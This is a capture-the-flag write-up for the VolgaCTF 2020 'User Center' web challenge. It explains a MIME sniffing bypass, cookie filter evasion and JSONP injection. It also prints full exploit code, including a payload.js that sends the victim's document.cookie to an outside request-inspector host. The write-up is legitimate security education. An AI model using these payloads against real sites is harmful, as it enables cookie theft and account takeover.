Writeup for a web challenge from VolgaCTF 2020 Qualifier which I really liked.
User Center
Challenge Description
Steal admin’s cookie!
The goal is to achieve XSS on https://volgactf-task.ru
. The application allows users to register, login, and edit their profile. main.js
file handles all the client-side logic.
main.js:
function getUser(guid) {
if (guid) {
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(
data
) {
if (!data.success) {
location.replace("/profile.html");
} else {
profile(data.user);
}
});
} else {
$.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
if (!data.success) {
location.replace("/login.html");
} else {
profile(data.user, true);
}
}).fail(function(jqxhr, textStatus, error) {
console.log(jqxhr, textStatus, error);
});
}
}
function updateUser(user) {
$.ajax({
type: "POST",
url: `//${api}.volgactf-task.ru/user-update`,
data: JSON.stringify(user),
contentType: "application/json",
dataType: "json"
}).done(function(data) {
if (!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html`);
}
});
}
function logout() {
$.get(`//${api}.volgactf-task.ru/logout`, function(data) {
location.replace("/login.html");
});
}
function profile(user, edit) {
if (
!["/profile.html", "/report.php", "/editprofile.html"].includes(
location.pathname
)
)
location.replace("/profile.html");
$("#username").text(user.username);
$("#username").val(user.username);
$("#bio").text(user.bio);
$("#bio").val(user.bio);
$("#avatar").attr("src", `//static.volgactf-task.ru/${user.avatar}`);
if (edit) {
$("#editProfile").removeClass("d-none");
}
$('.nav-item .nav-link[href="/login.html"]').addClass("d-none");
$('.nav-item .nav-link[href="/register.html"]').addClass("d-none");
$('.nav-item .nav-link[href="/profile.html"]').removeClass("d-none");
$('.nav-item .nav-link[href="/logout.html"]').removeClass("d-none");
}
function replaceForbiden(str) {
return str
.replace(/[ !"#$%&Вґ()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g, "")
.replace(/[^\x00-\x7F]/g, "?");
}
function showError(error) {
$("#error")
.removeClass("d-none")
.text(error);
}
$(document).ready(function() {
api = "api";
if (Cookies.get("api_server")) {
api = replaceForbiden(Cookies.get("api_server"));
} else {
Cookies.set("api_server", api, { secure: true });
}
$.ajaxSetup({
xhrFields: {
withCredentials: true
}
});
$("#logForm").submit(function(event) {
event.preventDefault();
$.ajax({
type: "POST",
url: `//${api}.volgactf-task.ru/login`,
data: JSON.stringify({
username: $("#username").val(),
password: $("#password").val()
}),
contentType: "application/json",
dataType: "json"
}).done(function(data) {
if (!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html?guid=${data.guid}`);
}
});
});
$("#regForm").submit(function(event) {
event.preventDefault();
$.ajax({
type: "POST",
url: `//${api}.volgactf-task.ru/register`,
data: JSON.stringify({
username: $("#username").val(),
password: $("#password").val()
}),
contentType: "application/json",
dataType: "json"
}).done(function(data) {
if (!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html`);
}
});
});
$("#avatar").on("change", function() {
$(this)
.next(".custom-file-label")
.text($(this).prop("files")[0].name);
});
$("#editForm").submit(function(event) {
event.preventDefault();
b64Avatar = "";
mime = "";
bio = $("#bio").val();
avatar = $("#avatar").prop("files")[0];
if (avatar) {
reader = new FileReader();
reader.readAsDataURL(avatar);
reader.onload = function(e) {
b64Avatar = reader.result.split(",")[1];
mime = avatar.type;
updateUser({ avatar: b64Avatar, type: mime, bio: bio });
};
} else {
updateUser({ bio: bio });
}
});
params = new URLSearchParams(location.search);
if (
[
"/",
"/index.html",
"/profile.html",
"/report.php",
"/editprofile.html"
].includes(location.pathname)
) {
getUser(params.get("guid"));
}
if (["/logout.html"].includes(location.pathname)) {
logout();
}
});
Avatar is served from the static.volgactf-task.ru
domain. The thing to note is that while uploading a file, the backend does some check on the MIME type(submitted through type
parameter) and rejects those containing html
. The provided MIME type is not cross-checked with the content of the uploaded file, and whatever MIME type submitted, it is served in the Content-Type
header of the file. Also, X-Content-Type-Options
is set to nosniff
, which tells the browser to strictly follow Content-Type
and not to determine Content-Type
by itself. It turns out that if you set Content-Type
to */*
browser ignores the nosniff
option and performs MIME sniffing to determine the content type.
mime = avatar.type;
updateUser({ avatar: b64Avatar, type: mime, bio: bio });
Now to get XSS on static.volgactf-task.ru
, we need an HTML file. I looked through Mozilla’s documentation in the hope of finding something. While looking, I came across this. It is a discussion thread about how various browsers handle multipart
responses. Firefox renders the last part of the response, to test this, I wrote a little script. The script serves response with multipart content type, and the body of multipart data contains an HTML file.
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 1337))
s.listen(10)
REAL_BODY = "<html><body><b>Hellllo</b></body></html>"
HEADER = """HTTP/1.0 200 OK
Content-Type: multipart/x-mixed-replace;boundary="XXMIMEBOUNDARY"
Content-Length: {length}
Server: Werkzeug/1.0.0 Python/3.6.9
Date: Sat, 28 Mar 2020 15:18:09 GMT""".replace("\n", "\r\n")
BODY = """--XXMIMEBOUNDARY\nContent-type: text/html\n\n{body}\n--XXMIMEBOUNDARY"""
BODY = BODY.format(body=REAL_BODY)
HEADER = HEADER.format(length=len(BODY))
PAYLOAD = HEADER
PAYLOAD += "\r\n\r\n"
PAYLOAD += BODY
PAYLOAD += "\r\n\r\n"
while True:
c, addr = s.accept()
data = c.recv(1024*10)
if 'favicon' in data or 'robots' in data:
c.close()
continue
c.send(PAYLOAD)
c.close()
So, now we can serve an HTML page on static.volgactf-task.ru
which has no Content Security Policy. XSS !!!
Next step is getting XSS on volgactf-task.ru
. Reading through $.getJSON
’s documentation. The JSONP
section states that If the URL includes the string "callback=?" (or similar, as defined by the server-side API), the request is treated as JSONP instead
. So, if we can control the URL being passed to $.getJSON
, we can get XSS on volgactf-task.ru
. As seen in the code, we partially control the URL because the api
variable is prepended to the URL.
Also, we control the guid
, because its value is being taken from the query parameter.
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(
The value of api
is read from the cookie and goes through some regex filtering. The filtering can be easily bypassed to control the host part of the new URL by adding character higher than 0x7F
. The extended ASCII characters are replaced by ?
, which separates the host part in the URL. If we set api_server
cookie to sec.faizalhasanwala.me\xffxyz
& guid
to abc%26callback=?
then URL becomes https://sec.faizalhasanwala.me?xyz.volgactf-task.ru/user?guid=abc&callback=?
. The request is made to our server and with a query parameter whose value is ?
because of the parameter with value ?
, the response will get executed as JSONP.
We need to adequately set the cookie for volgactf-task.ru
from static.volgactf-task.ru
. As there is already a cookie with the name api_server
present, we need to restrict the scope of our cookie by adding path
to the cookie. The added profile.html
allows our cookie to take preference over the already present cookie.
document.cookie =
"api_server=sec.faizalhasanwala.me\xffxyz;domain=volgactf-task.ru;path=/profile.html";
Complete Exploit
payload.html(served through static.volgactf-task.ru
):
<html>
<head>
<script>
document.cookie =
"api_server=sec.faizalhasanwala.me\xffxyz;domain=volgactf-task.ru;path=/profile.html";
</script>
</head>
<body>
<img src="https://sec.faizalhasanwala.me/sleep" />
<iframe src="https://volgactf-task.ru/profile.html?guid=?"></iframe>
</body>
</html>
Code to upload avatar(payload):
#!/usr/bin/env python2
import requests
URL = "https://api.volgactf-task.ru"
AVATAR_URL = "https://static.volgactf-task.ru/"
COOKIES = {"PHPSESSID": "kv2h8o4c1dl340r2r6lu4dpl6o"}
REAL_BODY = open('payload.html').read()
BODY = "--XXMIMEBOUNDARY\r\n"
BODY += "Content-type: text/html"
BODY += "\r\n\r\n{body}\r\n--XXMIMEBOUNDARY"
BODY = BODY.format(body=REAL_BODY)
def uploadFile():
resp = requests.post(URL+"/user-update", cookies=COOKIES, json={
'avatar': BODY.encode('base64'),
'type': 'multipart/x-mixed-replace;boundary="XXMIMEBOUNDARY"',
'bio': "BIO here"
}).json()
return resp
def getStatus():
resp = requests.get(URL+"/user", cookies=COOKIES).json()
return resp
print(uploadFile())
avatar = getStatus().get('user', dict()).get('avatar')
print(AVATAR_URL+avatar)
# https://static.volgactf-task.ru/62430ccd4a03bb435e9b6b2782bedb52
payload.js(served at https://sec.faizalhasanwala.me):
const url =
"https://requestinspector.com/inspect/rand00000m?s=" +
encodeURIComponent(document.cookie);
console.log(url);
document.location = url;
Now we submit https://static.volgactf-task.ru/62430ccd4a03bb435e9b6b2782bedb52
URL through bug report and wait for flag.